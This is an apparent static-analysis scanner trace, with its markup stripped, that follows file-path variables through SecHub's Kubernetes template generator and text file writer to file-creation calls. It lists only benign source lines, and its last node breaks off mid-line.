sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 17 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 18 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 19 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 20 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 21 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 22 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 23 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 24 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 25 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 26 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 27 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 28 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 29 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 30 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 31 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 32 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 33 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 34 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 17 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 18 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 19 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 20 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 21 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 22 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 23 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 24 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 25 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 26 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 27 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 28 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 10 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 11 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 12 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 13 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 14 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 15 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 16 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 17 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 18 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 19 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 20 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 21 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 22 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 23 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 24 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 25 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 26 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 27 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 10 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 11 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 12 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 13 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 16 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 17 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 18 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 19 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 20 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 21 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 22 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 1 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 5 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 6 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 7 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 8 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 9 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 10 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 11 + envFolder + + 9 + + + 161 + return envFolder; + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 12 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 13 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 14 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 15 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 30 + 16 + targetFolder + + 12 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 17 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 18 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 19 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 20 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 21 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 22 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 23 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 24 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 20 + 1 + File + + 3 + + + 156 + File envFolder = new 